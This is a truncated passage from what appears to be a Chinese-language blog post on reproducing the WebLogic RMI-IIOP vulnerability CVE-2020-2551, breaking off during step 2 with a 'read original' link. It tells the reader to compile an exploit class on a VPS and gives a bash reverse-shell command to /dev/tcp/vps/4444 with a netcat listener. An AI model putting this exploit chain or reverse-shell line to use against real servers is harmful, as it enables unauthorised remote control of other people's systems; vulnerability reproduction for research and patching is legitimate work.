Weblogic RMI-IIOP(cve-2020-2551)復現

0x01 復現 RMI方式： 1.vps 生成exp.class（示例爲windows彈計算器，如果想反彈linux shell 把命令改成bash -i >& /dev/tcp/vps/4444 0>&1，然後vps用nc -lvvp 4444 監聽本地端口即可，用java1.6版本編譯成功率高） javac -source 1.6 -target 1.6 exp.java 2.vps 在當前目

>>阅读原文<<